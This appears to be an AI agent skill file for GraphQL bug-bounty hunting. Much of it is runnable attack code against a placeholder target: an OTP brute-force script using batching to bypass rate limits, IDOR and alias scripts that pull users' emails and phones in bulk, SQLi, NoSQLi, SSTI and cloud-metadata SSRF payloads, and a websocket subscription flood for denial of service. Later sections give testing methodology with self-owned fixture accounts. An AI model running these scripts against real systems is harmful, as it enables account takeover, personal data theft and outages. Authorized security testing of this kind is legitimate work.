--- name: hunt-graphql description: GraphQL attack surface — introspection abuse, batching/rate-limit bypass, alias IDOR, directive injection, subscription DoS, field-suggestion info disclosure, schema extraction, injection-to-RCE. --- # GRAPHQL BUG BOUNTY HUNTING ## DETECTION ```bash for p in /graphql /graphiql /v1/graphql /v2/graphql /api/graphql /query /playground /altair; do curl -s -o /dev/null -w "%{http_code} $p\n" "https://TARGET${p}" -X POST -H "Content-Type: application/json" -d '{"query":"{__typename}"}' done curl -s -X POST https://TARGET/graphql -d '{"query":"{a]b"}' | grep -i "graphql\|parse\|error" ``` ## INTROSPECTION → SCHEMA DUMP ```bash curl -s -X POST https://TARGET/graphql -d '{"query":"{__schema{types{name fields{name type{name kind ofType{name}} args{name type{name}}}}}}"}' | python3 -m json.tool curl -s -X POST https://TARGET/graphql -d '{"query":"{__schema{mutationType{fields{name args{name type{name}}}}}}"}' curl -s -X POST https://TARGET/graphql -d '{"query":"{__schema{subscriptionType{fields{name args{name type{name}}}}}}"}' ``` **Bounty:** HackerOne #745132 — Shopify introspection leaked private apps, $8,000. ## CHAIN 1: INTROSPECTION → IDOR → DATA LEAK ```python import requests for uid in range(1, 100): r = requests.post("https://TARGET/graphql", json={"query": '{ user(id: "%d") { email phone } }' % uid}, headers={"Authorization": "Bearer TOKEN"}) if r.json().get("data", {}).get("user"): print(f"ID {uid}: {r.json()['data']['user']}") ``` **Bounty:** HackerOne #895601 — user query returned PII without auth, $15,000. ## CHAIN 2: BATCH QUERY → RATE LIMIT BYPASS ```python import requests, itertools PHONE, BATCH = "+1234567890", 100 def batch(codes): return [{"query": 'mutation{verifyOtp(phone:"%s",code:"%s"){token}}' % (PHONE, c)} for c in codes] for i in range(0, 10000, BATCH): codes = [str(z).zfill(4) for z in range(i, i+BATCH)] for idx, res in enumerate(requests.post("https://TARGET/graphql", json=batch(codes)).json()): if res.get("data", {}).get("verifyOtp", {}).get("token"): print(f"[+] OTP: {codes[idx]}") ``` **Bounty:** HackerOne #976127 — batching bypassed OTP lock → full ATO, $20,000. ## CHAIN 3: FIELD SUGGESTION → INFO DISCLOSURE ```python import requests, re leaked = set() for f in ["user","admin","secret","config","internal","debug","token"]: for s in ["s","ById","x"]: r = requests.post("https://TARGET/graphql", json={"query": "{ %s%s { __typename } }" % (f, s)}) m = re.findall(r'Did you mean "(\w+)"', r.json().get("errors",[{}])[0].get("message","")) leaked.update(m) if leaked: print("Leaked fields:", leaked) ``` **Bounty:** HackerOne #1154210 — suggestion leaked `internal_transfer_funds` mutation, $25,000. ## CHAIN 4: INJECTION → RCE ```bash # SQLi via resolver curl -s -X POST https://TARGET/graphql -d '{"query":"{ user(name: \"admin'\'' OR 1=1--\") { id } }"}' # NoSQLi curl -s -X POST https://TARGET/graphql -d '{"query":"{ user(name:{\"$gt\":\"\"}) { id } }"}' # SSTI curl -s -X POST https://TARGET/graphql -d '{"query":"{ user(name:\"{{7*7}}\") { id } }"}' # SSRF via upload curl -s -X POST https://TARGET/graphql -F 'operations={"query":"mutation{importData(url:\"http://169.254.169.254/latest/meta-data/\"){ok}}"}' ``` **Bounty:** HackerOne #1537276 — SQLi via GraphQL resolver, $50,000. ## ALIAS ABUSE — BULK DATA EXFIL ```bash curl -s -X POST https://TARGET/graphql -d '{"query":"{ a1:user(id:1){email name} a2:user(id:2){email name} ... a50:user(id:50){email name} }"}' python3 -c "print('{ ' + ' '.join(['a%d:user(id:\"%d\"){email name phone}'%(i,i) for i in range(100)]) + ' }')" | curl -s -X POST https://TARGET/graphql -d @- ``` **Bounty:** HackerOne #1052868 — alias abuse exfiltrated 10k+ records in one request, $30,000. ## SUBSCRIPTION DoS ```python import websocket, json, time ws = websocket.create_connection('wss://TARGET/graphql', subprotocols=['graphql-ws']) ws.send(json.dumps({'type':'connection_init','payload':{}})) time.sleep(0.1) for i in range(1000): ws.send(json.dumps({'type':'start','id':str(i),'payload':{'query':'subscription{onMessage{text}}'}})) ``` **Bounty:** HackerOne #1200345 — subscription flood crashed server, $8,000. ## SCHEMA EXTRACTION WITHOUT INTROSPECTION ```bash curl -s -X POST https://TARGET/graphql -d '{"query":"{ user(id:1) { nonexistent } }"}' | python3 -m json.tool curl -s https://TARGET/static/js/app.js | grep -oP 'type\s+\w+\s*\{[^}]*\}' | head -20 for t in User Admin Post Token; do curl -s -X POST https://TARGET/graphql -d "{\"query\":\"{ user(id:1){${t}Ref} }\"}" | grep -i "did you mean"; done ``` ## AUTOMATION — graphql_hunt.py ```python #!/usr/bin/env python3 import requests, json, re, sys, time T = sys.argv[1] if len(sys.argv)>1 else "http://localhost:4000/graphql" S = requests.Session(); S.headers.update({"Content-Type":"application/json"}) def q(query): try: return S.post(T, json={"query":query}, timeout=10).json() except: return {} def check_intro(): d = q('{__schema{types{name}}}'); types=[t["name"] for t in d.get("data",{}).get("__schema",{}).get("types",[])] if types: print(f"[!] Introspection: {len(types)} types"); return True print("[*] Introspection disabled"); return False def check_suggest(): leaked=set() for f in ["user","admin","config","secret","token","debug"]: for s in ["s","ById","x"]: m=re.findall(r'Did you mean "(\w+)"', q("{ %s%s{__typename} }"%(f,s)).get("errors",[{}])[0].get("message","")) leaked.update(m) if leaked: print(f"[!] Suggestions leak: {leaked}"); return True print("[*] No suggestions"); return False def check_batch(): try: r=S.post(T,json=[{"query":"{__typename}"}]*10,timeout=10) if r.status_code==200 and isinstance(r.json(),list): print("[!] Batching accepted"); return True except: pass print("[*] Batching blocked"); return False def check_depth(): d=q("{ "+"users{ "*20+"id"+" }"*20+" }") if "errors" not in d: print("[!] Weak depth limit"); return True print("[*] Depth enforced"); return False def check_muts(): d=q('{__schema{mutationType{fields{name}}}}') fs=[f["name"] for f in d.get("data",{}).get("__schema",{}).get("mutationType",{}).get("fields",[])] hits=[f for f in fs if any(k in f.lower() for k in ["transfer","role","delete","reset","admin"])] if hits: print(f"[!] Sensitive mutations: {hits}"); return True print("[*] No sensitive mutations"); return False if __name__=="__main__": print(f"[*] Target: {T}\n=== Detection ===") check_intro(); check_suggest() print("\n=== Vulnerabilities ===") check_batch(); check_depth(); check_muts() ``` ## BOUNTY REPORTS | Report | Finding | Payout | |--------|---------|--------| | HackerOne #745132 | Introspection leaked private apps | $8,000 | | HackerOne #976127 | Batch OTP bypass → ATO | $20,000 | | HackerOne #1052868 | Alias abuse 10k+ records exfil | $30,000 | | HackerOne #1154210 | Field suggestion → admin mutation | $25,000 | | HackerOne #895601 | IDOR via user query, no auth | $15,000 | | HackerOne #1200345 | Subscription DoS server crash | $8,000 | | HackerOne #1138989 | Private endpoint introspection | $10,000 | | HackerOne #1537276 | SQLi via GraphQL resolver | $50,000 | ## CHECKLIST - [ ] Detect GraphQL endpoint - [ ] Introspection on/off - [ ] Field suggestions info disclosure - [ ] Batch rate limit bypass (login/OTP/password) - [ ] Alias bulk data extraction - [ ] Depth limit test (20+ nesting) - [ ] Mutation enumeration (sensitive ops) - [ ] Subscription WebSocket DoS - [ ] Directive auth bypass (@skip/@include) - [ ] Injection in args (SQLi/NoSQLi/SSTI/SSRF) - [ ] Error message info leaks - [ ] Persisted query cache poisoning --- ## FIXTURES AND CONTROLS — SET UP BEFORE ANY PAYLOAD GraphQL findings collapse in triage when the actor model is muddy. Build fixtures first, exactly as for REST IDOR: 1. Two controlled accounts (A and B) on the same tenant tier, plus an anonymous context and, if the program provides one, a low-privilege role (support, read-only, free tier). 2. Each account creates its own objects through the API itself: a private node with a synthetic canary field value (`canary-A-7f3`, `canary-B-9c1`) in a field that is never public (note body, email, billing field). 3. Record each object's relay global ID *and* its raw database ID. Decode the global ID (base64 → `Type:pk`) — many schemas check authorization on the global-ID path and skip it on the raw-ID path, or vice versa. 4. Capture the entitled baseline for every field you will later test: owner reads own canary = control. Every later "leak" is judged against this baseline, never against a status code. ## FIELD-LEVEL AUTHORIZATION MATRIX Object-level checks get tested; field-level checks are where GraphQL actually bleeds. A resolver can authorize the node and still resolve sensitive fields for anyone who asks. Build the matrix explicitly: | Field class | Anon | User B (non-owner) | Owner A | Notes | | --- | --- | --- | --- | --- | | `user { id name }` | baseline | baseline | baseline | Public by policy? Confirm, don't assume | | `user { email phone }` | must deny/null | must deny/null | canary returned | The classic field-level miss | | `user { billing { plan invoices } }` | deny | deny | canary | Nested types often skip the parent check | | `node(id:) { ... on User { email } }` | deny | deny | canary | Node interface path ≠ `user(id:)` path | | `users { edges { node { email } } }` | deny | deny | canary | Connection edges resolve per-node or not at all | | `searchUsers { email }` | deny | deny | canary | Search/list resolvers are separate code from get-by-id | Rules for the matrix: - **Queries vs mutations asymmetry:** the query path checks, the mutation path (`updateUser`, `exportUser`, `impersonateUser`) trusts the ID. Run the matrix against every mutation that *returns* the object, not just the queries that fetch it. - **Nested-field escalation:** if `email` is denied at the root, ask for it one level down: `order { buyer { email } }`, `team { members { email } }`, `comment { author { email } }`. Field authorization is frequently implemented on the type's "primary" resolver only. - **Error-shape oracle:** `null` with a permission error, `null` silently, and the canary value are three different answers. A silent `null` on a field that returns data for the owner proves the check exists; a permission error on `id` but data on `email` proves it is partial. - **Batch the matrix, judge individually:** one request per cell, so a partial-data response (GraphQL returns 200 with per-field errors) is attributable to exactly one field and one actor. ## BATCHING AND ALIAS ABUSE — MEASURE THE LIMIT, NAME THE KEY "Batching is enabled" is not a finding. The finding is a *limit that is keyed on the wrong unit*. Test each limiter separately: | Limiter | Test | Weak result | | --- | --- | --- | | Batch array size | POST an array of 10, 100, 500 operations | No cap, or cap ≫ any client need | | Aliases per operation | 50, 200, 1,000 aliases of a cheap field | Aliases uncounted by rate limiting | | Rate limit key | 1 request × 100 aliases vs 100 requests × 1 alias | Limit counts HTTP requests, not operations — brute force and exfil scale free | | Depth | Nest a connection 10, 20, 40 deep | Depth counted in fields, not in resolved nodes | | Complexity/cost | One query fanning out to N×M nodes via nested connections | No cost analysis, or cost ignores list multipliers | | Duplicated fields | Same field+args repeated under one operation | Executed N times instead of merged — multiplies resolver/DB load | Worked differential: a login/OTP mutation rate-limited "per request" that accepts a 100-entry batch has an effective limit of zero — that is Chain 2 with the arithmetic shown. For data exfil, show the same math: aliases per request × requests per minute = records per minute, using your two fixture accounts' records only. Stop at the arithmetic; never run the full extraction against real users. Also test **aliasing a mutation**: the same mutation aliased 20 times in one operation executes 20 times server-side (coupon apply, vote, follow, transfer). If the UI sends it once, the server must still treat aliased repeats as repeats. ## PERSISTED QUERIES — THE CACHE IS AN ATTACK SURFACE Automatic Persisted Queries (APQ) and allowlisted persisted operations change the trust model: the *hash* becomes the credential for the query. 1. **Registration open?** Send `persistedQuery: {version:1, sha256Hash}` with a full query the server has never seen. If the server registers and executes it, the "allowlist" is self-service — any attacker query becomes persisted, defeating the point of the allowlist. 2. **Hash-only execution of sensitive operations:** once a legitimate mutation is registered by the real client, its hash is public (it ships in the app). Hash-only replay with *your* variables is by design; the bug is a persisted *query* whose variables reach data the requesting actor could not fetch with an ad-hoc query — compare both paths with the field matrix above. 3. **Cache poisoning via registration:** register a query under a hash, then check whether a *different* query text collides or whether the CDN caches the GET response of a persisted query keyed only by hash + extension while variables ride in a header/cookie the cache ignores. A response cached under user A's variables and served to user B is a cross-account leak with no resolver bug at all. 4. **GET-based persisted queries + CSRF:** persisted queries executable via GET with cookie auth and no CSRF token turn every persisted operation into a CSRF target, including mutations some gateways wrongly allow over GET. 5. **Error oracle:** `PersistedQueryNotFound` vs `PersistedQueryMismatch` responses confirm hash existence — an enumeration oracle for which operations the real client uses, useful for mapping the private API. ## SUBSCRIPTIONS — DEPTH BEYOND "FLOOD IT" - **Auth timing:** authorization is commonly checked once at `connection_init`. Test: connect with account A's token, let it expire or revoke it mid-connection, and observe whether events keep flowing. Then test whether the *operation* re-checks: subscribe, as B, to a topic naming A's object ID (`messageAdded(roomId: )`) — the connect-time check passed because B is a valid user; the per-topic check is the one that matters and the one that is missing. - **Protocol confusion:** `graphql-ws` (legacy) and `graphql-transport-ws` handle `connection_init` payloads, keepalive, and duplicate operation IDs differently. A gateway fluent in one protocol may pass the other's frames to a resolver that never saw an auth check. Test both subprotocols against the same endpoint. - **Event-shape leakage:** subscription payloads are often resolved with a *system* context rather than the subscriber's — fields denied to B in the query matrix arrive live in the event stream. Run the field matrix against the subscription payload, not just queries. - **Amplification accounting:** one socket × N operations × fan-out per event. Report the multiplier with bounded numbers from your own two fixture rooms; do not flood a production topic to prove it (see the DoS note in the checklist — most programs exclude or cap DoS proof). ## WORKED EXAMPLE — FIELD-LEVEL DIFFERENTIAL ```http POST /graphql HTTP/1.1 Authorization: Bearer Content-Type: application/json {"query":"query{ node(id:\"VXNlcjo0MjA=\"){ ... on User { id email notes } } }"} ``` ```json {"data":{"node":{"id":"VXNlcjo0MjA=","email":"a@example.com","notes":"canary-A-7f3"}}} ``` `VXNlcjo0MjA=` decodes to `User:420` — account A's fixture. The same request with the `user(id:420)` root field returned `email:null` for B: the root resolver checks, the node resolver does not. That asymmetry, plus A's entitled control and B's own-object control, is the complete proof — one root cause, two symptoms, reported once. ## FALSE-POSITIVE TRAPS - Introspection enabled on a *public* API whose schema is published in developer docs — informational at best; the finding is what the schema lets an unauthorized actor *do*. - Partial-data 200s misread as success: GraphQL returns 200 with the sensitive field `null` and an error entry. Read the field, not the status. - Your "other account" data was your own: the gateway ignored the supplied ID and resolved the session user. Compare canary values. - Depth/complexity error messages that look like bypasses but execute nothing — confirm a resolver actually ran (data returned, timing, side effect on a fixture). - Batching accepted by a *public, unauthenticated, read-only* API with per-operation limits intact — measure before claiming. ## REPORTING CHECKLIST — ADDITIONS - [ ] Actor × field matrix attached, with entitled and non-entitled controls - [ ] Global ID decoded; raw-ID and global-ID paths both tested - [ ] Limiter key named for batching/alias claims, with the rate arithmetic - [ ] Persisted-query registration tested (open registration = allowlist bypass) - [ ] Subscription per-topic authorization tested with the second account's object - [ ] DoS-adjacent claims bounded to fixture resources and stated multipliers